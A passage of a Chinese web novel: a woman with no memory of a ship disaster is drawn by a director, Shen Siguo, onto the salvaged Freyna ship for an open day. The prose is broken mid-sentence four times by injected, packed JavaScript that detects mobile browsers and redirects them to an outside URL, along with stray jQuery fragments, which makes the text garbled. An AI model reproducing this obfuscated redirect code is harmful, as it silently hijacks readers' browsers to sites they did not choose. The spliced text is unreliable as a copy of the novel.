;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396217|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人的内心留下不可磨灭的痕迹,将来就算伤口痊愈了,人们也无法完全忘怀。”
在没有窗户的幽暗室内,他坐在那副画下方,身影笼罩在高塔的阴影下。
“所以你真的忘记了那场船难吗?”
头顶传来“嘎吱嘎吱”的响声。
她抬头看:原来是电扇在响——他们的头顶有一顶吊扇。
所以她刚刚感觉到的风,是真的风。
她僵直的背放松了一些,再次声明:“我确实没有那天的记忆。”
沈思过笑了一下,语调拉得很长:
“可是你对我后面的画有感觉。在我们进来之前,你就在看它。”
李明眸确实时不时会看一下他身后的画,他说这句话的时候,她的眼睛也恰好在看它。
但沈思过那么提之后,她立刻就把目光移开了。
她盯着沈思过的脸,尽量不让自己转移视线:
“你画的塔本来就很奇怪,每个进来的人都会忍不住看,刚好它又正对着大门。”
沈思过说:“那确实是一座塔——但我没告诉过你,它是一座塔。我只说,这是我画的画。”
这句话落下后,门突然被推开,几个打扮时髦的学生走了进来——就是刚刚在门外跟沈思过打招呼的学生。
他们呼啦啦进来,从沈思过那里拿走几张邀请函,问了几句“骆绎声会不会去”,又拿着邀请函呼啦啦地走了。
他们说话的时候,李明眸一直僵硬地坐在隔壁。
她看着这些人。
他们的视线偶尔会看向壁柜上的摆饰,偶尔也会看向李明眸,但很少人看向沈思过身后的画。
就好像那幅画其实很普通。
这些学生走后,办公室内又只剩下沈思过和李明眸两个人。
两人中间隔着一张桌子,沉默不语。
李明眸掩饰不住自己的冲动,重新盯着那幅画,焦虑起来:
难道一幅画也有异象吗?
为什么没有人留意到这座塔很奇怪?
还是说他们已经来过这个办公室很多次,所以看习惯了?
还有,它真的不像塔吗?
沈思过看了她一会,没有继续谈论那副画,也没有质疑她“没有那天记忆”的说法。
他也没有提,在她没有记忆的那一天,他们一起发生了什么,让他在多年后发出“我很记得你”的感慨。
他又从抽屉里拿出了一张邀请函,就是刚刚那些学生拿走的邀请函,轻轻往她的方向推。
她低头看向邀请函,上面印着“弗雷娜修复号开放参观日”的字样。
他说:“弗雷娜号打捞上来三年,已经修复好了,来船上看看吧。”
李明眸看着邀请函,没有回话。
沈思过想了想,解释道:“我刚刚不是质疑你。能忘记是一件好事,是我邀请得太唐突了,你可以拒绝……”
说到这里,他顿了一下。
“我是说你可以拒绝加入剧团的邀请,不过我希望你可以去开放日参观一下。”
说完,他又把邀请函往前推了推。
“如果你真的要拒绝我,你可以去开放日参观完之后,再拒绝我。这样可以吗?
“毕竟那是很久以前的事情,已经过去很久了。
“所以我想,你去参观一下,应该也没关系。”
又是一段长久的沉默。
头顶的吊扇还在响个不停,海市已经入秋,这个时间已经不怎么热。
但李明眸的后背还是湿透了。
在电扇的“嘎吱嘎吱”声中,她轻轻说了一个字:“好。”
那个字那么轻,混在吊扇的响声中,几乎要被盖住,但沈思过还是听到了。
他在幽暗的室内笑了一下:“谢谢你。”
那个笑容明朗温和得像一个模板,但李明眸放松不下来。
5. 完美之人1
从沈思过办公室出来后,已经是黄昏了。
回到家之后,李明眸没有吃饭,她第一时间回到房间,打开电脑。
她开始检索沈思过的信息。
昨天拿到《弗雷娜》手册,知道赵医生和姨妈要把自己介绍给沈思过之后,她并没有兴起过调查对方的想法。
她觉得这个人不重要。
可因为那句“你不记得我了”,她开始好奇:在她忘记的2003年8月15日当天,发生过什么?
沈思过又是一个怎样的人?
她直觉这个人有些怪异。
她以为自己需要动用一些黑客手段才能获取对方的资料,可是刚在搜索引擎上打出沈思过的名字,立刻就跳出来很多消息。
她恍然想起来:沈思过是娱乐圈的人,确实是半个公众人物。
她把检索结果按网页的原始发布时间排列,很快捋出了这个人的生平时间线:
沈思过从小到大都很优秀,也不符合姨妈说的“艺术生文化课不太好”的规律,他读书时获得过一些竞赛奖项,体育成绩也很好,看起来十项全能。
这条顺遂的时间线,直到2003年弗雷娜船难的时候,中断了。
她知道沈思过也是船难的幸存者,但昨天赵医生提起的时候,包括今天在见到沈思过的时候,她都没有特别的感觉。
沈思过虽然喜欢打哑谜,看着却很正常,明明40多岁了,笑起来却还是天真腼腆的,仿佛生活很顺遂。
可就在那条顺遂的时间线上,在2003年的弗雷娜船难之后,她在沈思过的公开资料上,看到了精神病院的治疗经历。
2003年之后,他在“向光精神康复中心”住了两年——就是印在《弗雷娜》手册一角的那个“向光精神康复中心”——治疗项目是“重大事故创伤后应激障碍”。
看到这里,她点击鼠标的动作停了下来,头脑嗡嗡作响,就好像上午在她头顶的那盏吊扇又响了起来。
她停了一会,继续往下点击,看到05年他出院后,开始在各种公益救助组织活跃。
包括他筹办《弗雷娜》的目的,也是想给船难的幸存者带来一些安慰,希望所有人的生活都能继续往前走。
她沿着时间线,一一点进沈思过参与和赞助过的公益救助组织:浩川地震心理重建援助, MU5745飞行事故心理干预,蓝盾心理救援中心心理急救……
把这些报道一篇不落地看完后,她脑海中的嗡嗡声消失了,变得静悄悄的。
在这片寂静中,一句话在她的脑海中冒了出来:原来真的有这种人。
“只要心怀希望,就有幸福感的可能性。”
赵医生这么说的时候,她觉得这句话形同欺骗,是一种对痛苦的掩盖。
但原来真有人可以与这种痛苦共存,然后生长得更好。
她看着屏幕上沈思过的采访视频,他说自己考虑筹办一台跟船难有关的舞台剧。
“痛苦和愤怒不会消失……我们可以通过铭记这份痛苦和愤怒,鼓励自己去做真正有意义的事。”
下午在办公室的时候,沈思过对她说过类似的话。他当时说的是:真正撼动人心的,不是美丽和温柔。虽然美丽和温柔确实让人感动,但那种感情没法持久。愤怒和悲伤就不一样了……它能在人的内心留下不可磨灭的痕迹,将来就算伤口痊愈了,人们也无法完全忘怀。
她当时觉得,沈思过说那番话的时候,表情看着有些阴沉……但原来那番话的真正意思,是这样的啊。
或许只有这样的人,才能真正克服过去吧。
真正直视痛苦和愤怒的人。
看到这里,她已经形成了对沈思过的大概判断:这是一个很好的人。
“只要心怀希望,就会变得幸福”,假如这句话是沈思过对她说的,大概会更有说服力吧。
她放松下来,再往后看,发现船难的报道开始变少,关于他生活绯闻的报道多了起来。
因为他跟一个以前拍三级片的艳星结婚了,这段婚姻太有话题性,盖过了他生活中的其他所有话题。
她点开一个早期记者采访他的视频。
那时他刚跟那个叫骆颖的艳星结婚,记者问他:“娶那个艳星,你家里不反对吗?我听说有钱人都要联姻。”
她看过这样的传闻,说沈思过是曾经的海市首富、沈氏船业主人沈梦庭的儿子。
弗雷娜号就是沈氏船业打造的,船难之后,沈梦庭才从海市首富的位置上下来。
沈思过这样的身份背景,会被人问这样的问题,好像也可以预测。
沈思过看着记者,先说了这样一句话:
“她有名字的,叫骆颖,不是‘那个艳星’。还有什么联姻,你们电视看太多了吧?”
记着悻悻微笑,也不好说什么。
沈思过调侃了一句,缓解记者的尴尬:“你们这样把人按标签分门别类,不会有爱情的哦。”
“有钱人也信爱情啊?”
“你说得好奇怪,为什么不信?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396218|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
那是他们结婚初期的采访。他们结婚两三年后,报道慢慢变了,基本都在说他和太太如何恩爱,偶尔也有一些他和他继子的报导。
没错,沈思过有个继子。骆颖未婚生子,是带着一个孩子嫁给他的。
下午的时候,沈思过跟她提了一下自己的继子,于是她又搜了一些跟他继子有关的新闻。
他和继子的关系似乎很好,她看到他有几部舞台剧,主演都是这个继子。包括这次的《弗雷娜》,主舞也是这个继子。
还有一篇报道提到,他为了让继子到一个好学校插班就读,走了很多关系。
后来这个继子的发展,很体现沈思过的尽心:他跟沈思过一样,读书时获得过很多奖项,后来还考上了海大。听说沈思过就是因为继子在海大就读,所以才会来这里当客座教授的。
这个叫骆绎声的继子,他获得的奖项和履历,比任何报导都更体现沈思过作为一个继父的尽心。
骆绎声获得过的最有分量的一个奖杯,是桃李奖的冠军——这是国内青年舞蹈家最盛大的一个赛事。
她在网上找到骆绎声获奖的照片,发现竟然是跟沈思过的合照。
她点开这张像素不太高的合照,看了一下骆绎声的脸,突然感觉他长得有点熟悉……
下午在沈思过办公室商谈的时候,沈思过跟她提过骆绎声的名字,她当时就觉得这个名字很耳熟,总感觉在哪里听过。
当时她还在垂死挣扎,说自己确实不会跳舞,问沈思过,真的不考虑换个人吗?
沈思过说,她的角色不需要很严格的舞蹈基础,而且她的搭档是桃李杯冠军,带人的水平很不错,让她不要担心。如果实在学不会,他到时会酌情调整的。
看到李明眸还是不情愿的样子,他莞尔一笑,说很多女孩想跟骆绎声跳舞的,等到开放参观日的时候,他让骆绎声带她跳一次,她就知道了。
她当时就觉得“骆绎声”这个名字有点熟悉,但焦虑着不知道该怎么拒绝沈思过,所以没有多想。
现在回到家里,她看着合照中骆绎声模糊的脸,那种熟悉感再次涌了出来:她一定在哪里听过这个名字,还见过他的脸。
她拉开骆绎声的脸,照片放大之后,他的脸变得模糊不清,但那双眼睛仍然很瞩目。
她盯着那对桃花眼看了一会,脑海中自动蹦出一句话:
感觉是很花心的眼睛……
这句话蹦出来之后,她终于回想起来:她知道在哪里听说过他了!
6. 完美之人2
李明眸到海大报到的那一天,学校的大门上拉着一条横幅,“你的眼睛是我去过的最远的地方”。
她当时眼皮就跳了一下。
虽然知道这肯定不是在说她,但她有一双能看见异象的眼睛,还偏偏叫明眸。
后来听到班上的闲言闲语,她才明白,那是中文系的系花在向骆师兄告白。
骆师兄是一个外号。这个人当然有自己的名字,但李明眸也没认真留意,反正大家都叫他师兄——就连年纪比他大的学姐也这么叫。
系花的告白虽然隐晦,却整得轰轰烈烈,全校的人都知道那条横幅。但系花最终还是没追上骆师兄,因为她有个强有力的竞争者,就是跟骆师兄青梅竹马的白富美。
白富美在海大也是名人,是跟着沈思过学表演的,据说家里很有钱。
李明眸才入学没多久,就看到系花和白富美争奇斗艳。
这两个女生都是有排面的人,平时很受男生欢迎,但是为了骆师兄,两个人都豁出去不要面子。今天你拉横幅告白,明天我送999朵玫瑰,闹得跟电视连续剧一样。
那阵子李明眸上自习室,都能听到有人在小声议论他们的三角恋,让人烦不胜烦。
直到骆师兄把两个女生都拒绝了,这闹剧才正式收场。
对于这个结局,女生们都感到很满意。
因为骆师兄是艺术学院的,所以事后有女生匿名在学校的论坛发帖,把他的照片贴了上去,说:
“他不必刻意诠释艺术,他本身就是一件艺术品,是所有希腊雕塑的英灵聚集而成。极致的美不属于任何一个人,而属于全人类。”
这张帖子点赞破万,现在还被置顶在学校的论坛上。
李明眸帮论坛写管理程序的时候,看到过那张贴,很替这个师兄尴尬:这也太浮夸了。
*** ***
因为这段历史,李明眸对这个师兄的印象一直不太好:这男的弄得那么多女生为他争风吃醋,好像除了搞绯闻,一天到晚不干正事似的。
因为有这样的印象,所以下午沈思过跟她提骆绎声的名字时,她一时没反应过来,骆绎声就是那个“骆师兄”——桃李杯冠军哎,应该不会这么不正经吧?
确认这两人是同一个人之后,李明眸觉得非常晦气。
沈思过说,在开放日的时候,会让骆绎声带她跳舞——她竟然没有当场拒绝,现在想起来,她只觉得十分懊悔。
《弗雷娜》剧团里该不会都是这样花枝招展的人吧……想到这里,她打了个冷颤。
她从小就怕闪光生物,会发光的水母、五彩斑斓的鸟类、还有长得太好看的人,都会让她有一种被晒到的感觉。
如果加入剧团,就意味着要跟这样的人一起工作,这多可怕啊……这么多在求偶期拼命开屏的闪光生物,看着就跟动物世界似的。
她看着电脑屏幕上骆绎声那张模糊的脸,默默叉掉,然后把电脑关了。
她决定了:她是不可能答应去《弗雷娜》剧团的。反正不可能去剧团,那不如把开放日的邀约也拒绝了吧。
她拿起放在电脑旁的邀请函,默默把它放进了抽屉。
关好抽屉后,她看了一下窗户,又把窗帘拉上了。
太晒了。
*** ***
李明眸的决心下得很好,可没等她把这个决定告诉沈思过和姨妈,情况就变得尴尬起来。
姨妈不知道怎么的跟沈思过联系上了——他们不知道什么时候加了微信。
姨妈的朋友圈都是她对鲸鱼和其他鱼类的研究,以及她对最近新闻中候鸟南迁的看法。
沈思过看着不像是关注这些问题的人,但还是会偶尔点赞。
然后有天吃饭,姨妈突然问李明眸,最近是不是跟沈思过聊得比较深入。
她有些茫然:“比较深入是什么意思?”那天从沈思过办公室回来后,他们就没有再联系过。
她不给别人的朋友圈点赞,自己也不发朋友圈,别人也没法给她点赞。
姨妈有些犹豫地说:“他给我推荐了一个工作机会,是海洋研究中心的临聘研究员,研究最近鱼类增多和候鸟南迁的现象……”
李明眸迷茫地问:“他不是导演吗?”为什么会跟鱼和鸟扯上关系?
姨妈皱眉:“沈氏船业以前跟研究中心有合作。”
李明眸长长地“哦”了一声:“原来他真是海市首富的儿子啊。”
她的表情困惑,语气也淡淡的,不知道这个问题跟自己有什么关系,对沈思过这个身份也没有概念。
姨妈看了她一会,说:“看来他很想你去剧团。”
李明眸开始低头扒饭:她从来都没决定要去剧团,开放日也不会去。可要把这句话对姨妈说出来,她又不是很敢。
姨妈长长地叹了一口气,没再说什么,又
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396219|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
往她碗里夹了一筷子香菜。
她顿时扒不动了。
等到把香菜吃完,又把碗刷了之后,李明眸后知后觉地反应过来:
姨妈这意思,是说沈思过为了让她答应加入剧团,所以卖了一个人情给她们家?
可是她没这么重要啊?
而且姨妈以前就是做相关工作的,只是后来为了抚养她方便,才转到渔业研究中心。
从工作能力上说,如果要研究鱼类和飞鸟,姨妈的业务能力肯定是第一名,这工作不就该姨妈来做吗?
李明眸想了半天,也没捋明白这里面的逻辑:这机会本来就该是姨妈的,把一个姨妈本来就该有的东西给姨妈,这叫做人情吗?做人情不应该是给对方一个她本来不该有的东西吗?
没等她想明白,沈思过就打了一个电话进来,不是打给姨妈,而是打给她。
沈思过首先澄清,说这不是为了让她加入《弗雷娜》,让她不要有压力。
研究所以前跟沈氏有合作,他听到对方提起,说想增加一个相关的研究岗,他就提了一句,觉得她姨妈很合适。
“我只是提一句,决定权在王所长手上。他是不看人情的人,只会选择最合适的人。所以如果你姨妈选上了,这是她自己的能力。
“还有这些天,我们也没怎么联系过……等开放日结束后,按照你自己的心意选择吧。如果你不想加入剧团,也不必有什么负担,请直接提出来。”
他的语气温和体贴,没什么压迫感,也没有给自己邀功,李明眸顿时愧疚起来。
她本来还想反悔,说自己不去开放日了,幸好没来得及说出来。
她想了想,谨慎地说:“等参观日结束后,我会认真考虑的。”
她原来只顾着自己,太小气了。
如果《弗雷娜》是为了帮助其他人走出阴影——如果沈思过真的需要她——她也可以尝试克服自己的社交恐惧。
虽然不一定会成功就是了……
想到这里,她有些不安地看着窗外猛烈的阳光,又把窗帘拉上了。
听到她愿意认真考虑,沈思过声音有些沙哑:“谢谢你……但不用勉强自己。”
听到对方那么说,李明眸更愧疚了。
他真是个好人啊。
挂断电话后,李明眸走到窗帘后面,踌躇着拉开一小条缝,偷偷看向外面。
嗯……好像也不是很晒?
7. 高塔上
弗雷娜修复号开放参观的那一天,是海市入冬的第一天。
凛冽的北风到来,往日在沙滩上游玩的人少了许多。
李明眸独自站在空旷的码头上,目光牢牢锁定在灰蓝色的弗雷娜号上。
弗雷娜号船身高耸,庞大的躯壳占据了大片视野,斑驳的船漆、粗粝的外壳,让它看上去像一头搁浅许久的巨大鲸鱼。鱼尸在岸边投下一大片浓黑阴影,那阴影里似是潜藏着什么秘密或故事。
李明眸看着游玩的行人在那片阴影里打闹,觉得那艘船下一刻就会倾覆,把阴影中的行人全部淹没。
可阴影中的人们,他们的表情无忧无虑,无人为此担心。
海风裹着细碎的沙砾,抽打在李明眸脸上。她下意识缩了缩脖子,把兜帽戴上,双手拽紧兜帽边缘,想把自己藏在帽子里面。
她后悔了。
虽然答应了沈思过,一定会来开放参观日,并且会认真考虑加入剧团。但当她真的来到弗雷娜号面前的那一刻,她后悔了。
现在她只想转头离开。
回家里睡觉、到学校上课、或者去动物救助中心做义工。去哪里都好,只要能离开这里。
*** ***
弗雷娜号是在三年前打捞起来的,据说上面载着一批文物,当年随着船难一起沉没了。多年过去,沈家人又斥资把沉船打捞了上来。
从弗雷娜号被捞上来的那一刻,海市的新闻几乎天天都要提到这艘船:船上的文物怎样了,沈家挽回了多少损失,首富的位置能回来吗,修复这艘船要多少钱……等等。
直到去年为止,经过了两年多的修复,弗雷娜号被重新命名为弗雷娜修复号,投放在了南海码头。
它承担不了远航任务,只是一直停泊在码头,偶尔会对外开放参观,也不知道沈家人要拿它做什么。
弗雷娜修复号被投放在南海码头后,李明眸经常在社交平台上,看到有人去那里打卡。游人们笑容满面地跟弗雷娜号合影,并把照片发送在他们所有的账号上。
合照中他们的笑容如此真挚,好像这真的是一个旅游项目似的。
偶尔也有幸存者遗属在弗雷娜号附近的海滩举办纪念活动。
入夜之后,他们在沙滩上摆满鲜花和蜡烛,围成一圈聊天,又或者默哀。
李明眸从来没参与过这些活动——无论是旅游还是默哀——她就没来过这一带。甚至只要电视上出现弗雷娜号相关的新闻,她都会立刻转台。
过去已经过去,她不打算怀缅。
所以弗雷娜修复号投放在南海码头后,她一次也没来过这里。
这是她第一次看到弗雷娜修复号。
甚至也是她第一次看到弗雷娜号——她虽然上过这艘船,但她对这艘船的记忆是一片空白的。
*** ***
李明眸躲在码头角落的一栋仓库门口,远远地看着弗雷娜号,好像只要一直站在那里,就可以逃避上船。
直到她看到沈思过的身影出现在船下,朝这里走来。
在半小时之前,他问李明眸到了哪里,李明眸如实告知了他,并说自己过一阵子再上去。
沈思过当时没说什么。明明开放日有很多工作需要他主持,但他还是直接下船,过来这边找她了——并且没有提前告诉她。
等沈思过穿过码头,走到她面前后,李明眸还有些无措:她不明白他为什么要特意下船来找自己。
沈思过笑了笑:“我怕你不知道怎么上去。”
李明眸受宠若惊之余,还有些困惑:那么大一艘船停在那里,她怎么会找不到路上去?
沈思过问她:“你还好吗?你看着脸色不太好。”
她勉强笑了一下:“还好,只是这里风有点大。”
“这里确实风大,所以我们现在就上去吧。”
李明眸噎了一下,只好默默跟在他身后,往远方的弗雷娜号走去。
走出几步后,沈思过回头看她衣服上的图案,表情有些怪异:“你也喜欢《李尔和弗兰肯》?我以为这部动画片很冷门呢。”
她衣服上印着的是一只绿色的小怪物,它叫弗兰肯,是北欧一部动画里面的角色。
“嗯。”她心情有些莫名其妙地紧张,没有心思跟他说这些家常。
沈思过自己滔滔不绝说了下去:“这是一部好作品,是导演为了他早逝的朋友制作的。你的品味很好。”他的表情有点烦恼,“就是待会去宴会厅,可能会有一点麻烦。”
李明眸任由他一个人说话,并不搭腔。沈思过也不介意,似乎默认了她会听。
在沈思过的说话声中,两人终于走到弗雷娜号附近,身影渐渐融入船体的巨大阴影里。
在阴影中跋涉到船下,李明眸跟在沈思过身后,沿着登船栈桥一步一步迈进邮轮,感受着栈桥在脚下微微晃动,发出轻微的嘎吱声。
在栈桥的尽头,是一条长长的走廊。走廊两侧的灯光散发着柔和的光晕,却照不亮通道尽头的幽深。
两人沿着封闭的长廊缓缓前行,深入之后,长廊中的空气似乎越来越稀薄,周围的声音也渐渐消失,只有两人的脚步声在长廊中回响。
走到长廊的中段后,沈思过就开始不说话了。李明眸看着他的背影,身上因为闷热而渐渐出了些汗。
这条长廊,他们走了约莫有五分钟,沈思过沉默了三分钟。
就在李明眸觉得气氛有些怪异,开始焦虑时,通道中的空气变得清新,能听到的声音也渐渐多了起来——这条长廊终于走完,他们来到了尽头。
就在李明眸暗暗松口气时,沈思过带着她拐了个弯,来到了长廊左边的一层甲板。
李明眸刚踏上甲板,准备看着宽敞的天空深深吸口气时,那个吸气的动作停在了一半。
她维持着鼓起胸膛的动作,看着远处的天空,一动不动,无法移开视线。
她看到了一座塔。
那座塔是灰白色的,一条长长的楼梯旋转在塔身,通向塔顶的圆球状观景台。
她看到了那座塔。那座在挂在沈思过办公室的、他身后的那座塔。
她当时说,那是一座塔。沈思过说,“那确实是一座塔——但我没告诉过你,它是一座塔。我只说,那是我画的”。
在搜查沈思过的资料时,她还特意把那座塔画了出来,在网上搜索,什么国家有这样的一座塔。
结果没有搜到。任何国家都没有这样的一座塔。
原来它不是陆地上的塔,它是一艘邮轮上的观景塔。
明明一切已经过去很久
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396220|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,李明眸也没有那一天的记忆,但她的身体似乎记得这一切。
一股寒意从她的尾椎骨慢慢升起,顺着她的脊梁,一直爬到她的后脑。她的大脑随之放出信号,然后她的身体开始失温,毛孔逐次关闭,肌肉也一寸一寸绷紧。
她想转身离开,身体却僵在原地,动弹不得。
这个时候,沈思过回过了头。
刚刚他一直走在李明眸前面,没有说话,也没有让李明眸看到自己的脸。
他此时回过头来,看向李明眸,微笑着说:“我想让你演的角色,就跟这座塔有关。”
那是一个明媚的微笑。他向来是这么笑的,他在海大的办公室跟李明眸交谈时,刚刚在船下接李明眸上船时,以及他在媒体和镜头面前时,他都是这么笑的。
之前李明眸觉得这个微笑是温和腼腆的,但此刻她的感受变了。
她觉得那个微笑,好像是画上去的。
人的微笑有很多种类,还有着丰富的层次,有时候笑得多一点,有时候笑得少一点。
但沈思过的微笑似乎从来没有变化过。
他微笑看着李明眸,身后的不远处,就是那座塔。
他说:“那座塔的灯带亮起来时,是幽蓝色的,你当时说,就像浮在海上会发光的水母,你很喜欢……”
李明眸觉得自己的身体好像能动了。这具躯体打了个冷颤,摆动了一下,就因为摆动的这一下,它好像动了起来。
这具身体的知觉恢复了,她想要转身,用最快的速度跑开;又或者站在原地挥动自己的手,把手掌捂在沈思过的脸上,让那张脸发出的声音消失。
但她什么动作都没来得及做,就在她要做的那一刻,他们旁边的门打开了。
那扇门正对着两人中间,门被推开后,一阵风从门内刮了出来,从两人中间穿了过去。
李明眸那个未做出的动作,变成了又一个冷颤。
她就那么颤动了一下。
一个20多岁的年轻男人出现在门的后方,一只手还放在门把手上,焦急地朝着沈思过说:“沈老师,我这边人不够,你不能开二层的设备,你……”
说着说着,他的目光落在了沈思过隔壁的李明眸身上。
“你……我认识你。”
李明眸不认识他,也不关心他为什么会认识自己,但对于他的出现,她很感激,觉得这人出现得十分及时。
又有两个学生模样的人出现在那个男人身后,催着他解决问题。等走出来看到沈思过后,这两人又围着沈思过,焦急地跟他确认一些船上的设施状态。
沈思过应付了两句,目光又往李明眸身上看来。
李明眸怕他说出点什么话来,连忙抢话道:“您忙吧!不是说船上有宴会吗,我去参加宴会!”
没等沈思过说什么,那个说认识她的男的先说话了:“你穿这样不大适合,不过可以去吃东西。”
李明眸也不管为什么会不适合,她就当自己已经交代完,随便挑了一个方向,就窜了出去。
沈思过在她身后遥遥交代:“我让骆绎声去找你,迟点我闲了再跟你们汇合!”
“好!!!”
李明眸很快跑得没了影,留下一道长长的回音。
仿佛一个短跑冠军。
8. 格格不入1
李明眸也没留意沈思过说了什么,随便答应后,就一溜烟跑远了。
从宽敞的甲板重新回到狭窄的通道,她回过头去,看到身后没人,才停了下来,等待剧烈的心跳缓缓平息。
她扶着墙,开始思考自己刚刚的反应:我为什么要躲?
她仿佛一只在地震前感知到危险的动物,等跑远了,才开始反应:
沈思过似乎要跟我说一些跟过去有关的事情,听听也可以,我为什么要躲?
显得我很心虚。
心跳彻底平复后,她又想:算了。
事已至此,已经跑了。
她重新站直,在四通八达的长廊徘徊,漫无目的:接下来要怎么办?要等沈思过找自己吗?
几个穿着繁复百褶裙的女生经过她身边,说着去变装舞会的事。
对了,她刚刚跟沈思过说,自己要去宴会厅。
宴会厅里有吃的和变装舞会。
沈思过说待会会去跟她汇合。
她迷茫着,尾随着那几个女生,穿过一条有舷窗的新长廊,来到宴会厅附近。
她刚刚乱跑的时候,没在船上看到多少游人,还以为这个开放参观日,本来就没多少人流量。
可是靠近宴会厅之后,一阵鼎沸的人声由远及近传来,起初还只是隐隐约约,像是隔着重重迷雾传来的嘈杂声响,可随着她越走越近,声音愈发清晰:尖笑声,交谈声,音乐声交织在一起,好似一道无形的喧嚣幕布在她面前陡然拉开,将方才寂静的走廊隔绝在另一个世界之外。
她迷茫地看着宴会厅门口那条长长的队伍,看到众人拿着邀请函被一一检查,然后被放进去。
她找出邀请函,排在队伍后面,有些不安。
结果排了10分钟,好不容易轮到她,守门的人看了她一眼,问了一句“怎么在这里排队”。
然后他把李明眸拉到员工通道,直接把她推了进去,也没有检查她的邀请函。
李明眸困惑地回头看守门人,又看看自己拿在手上的邀请函,想问:为什么我不用邀请函?
可没等她问出来,员工通道的门打开,喧嚣的声音就如同汹涌澎湃的潮水一般,猛地冲破阻隔,裹挟着一个全然陌生、热闹非凡的世界,毫无预兆地撞到了李明眸的脸上。
那是真的“撞”——就在门打开的一瞬间,她被一个猫妖娘撞进了怀里。
“猫妖娘”是一个猫妖外形的女生,她几乎赤身裸.体,除了重点部位,浑身的肌肤都裸.露出来,上面画满了人体彩绘,做成猫咪毛发纹理的模样。
配上她尾椎骨那一大捧摇来摇去仿佛很保暖的尾巴,远远看上去,就像一只摇曳生姿的狸花猫成精了。
员工通道的门打开时,她大概正靠在门背上,所以门打开的瞬间,她就撞进了门后面的李明眸怀里。
她踉跄起身,笑着说了句“对不起”,没等李明眸回答,又大笑着跟几个人追打远去。
李明眸僵直在原地,目光跟随着远去的猫妖娘,看到了一大堆奇形怪状的人:
周身布满溃烂伤口,暗红色血浆正从伤口边缘缓缓渗出的腐朽僵尸;
穿着血色长袍,帽子上挂着一只干枯蝙蝠标本的巫师;
还有背上长出六条毛茸茸黑色节肢的蜘蛛女……
这些怪人在舞池里动着,好似在举办什么怪诞的降神仪式。
这些人怎么回事?
这是异象吗?这些异象都是什么意思?怎么突然出现了这么多,还让我撞到了?
在把天花板震得一抖一抖的背景乐中,李明眸后背开始大量出汗,心跳瞬间飙到了160。
就在她要吓得尖叫出来的时候,一个人从她身边经过,突然往她怀里塞了个盘子。
她的尖叫顿住,低头看着那只盘子:为什么给我盘子?
在她没反应过来的时候,就抱着盘子,被一群人推推攘攘的,挤到了一个人少的地方。
来到这个人少的地方后,她被推到一群衣着朴素的人附近站着……这些人看着都是正常人。
她看了一下:虽然表情有点疲惫,但确实都是正常人,并没有奇形怪状的。
她狂飙的心跳这才渐渐平息。
……有哪里不对。
她顿了一下,又观察了一会这些人:这些人都穿着T恤,衣服上的图案跟她的很像。他们手里都拿着一些盘子和食材,正在忙碌地摆放食物,收拾餐具。
她看了看自己手中的盘子,又看了看这些人的动作,再看了看周围环境,终于反应过来:
这里是食物区,这些人是宴会厅的服务生。
自己被当成服务生,被推到了这里。
李明眸:“……”
怪不得沈思过和那个自称认识她的人,看到她的衣服时,听到她要来宴会厅,都若有所思的样子。
但无论因为什么原因来到这里,反正现在她站在一个没人的角落,周围没有异象,音响也比较安静。
她抱着那个盘子,默默地离开了这群服务生,躲到一个更偏僻的角落里,回头去看自己刚刚经过的舞池,心有余悸。
她反复确认舞池里那些人的服装和脸,发现都是差不多的装扮,终于反应过来:
那不是异象,是很多相似的装扮。
之前沈思过跟她聊过,说船上有变装舞会。他提到这个舞会的时候,是一种以为她会感兴趣的语气。他说船上有一个大型聚会,大家都会换了衣服去玩。
他形容得很朴素,李明眸当时在电话里听到,也没怎么当回事。她去过他们学院的变装舞会,就是平时不洗头的人都洗了头,有正装和裙子的人,穿上正装和裙子,没有的就在洗澡时擦多点沐浴露,闻起来香一点。
但现在她看着舞池里这群妖怪,心有余悸,发现自己判断错了:这跟学校的变装舞会不一样,比较像是游乐园。
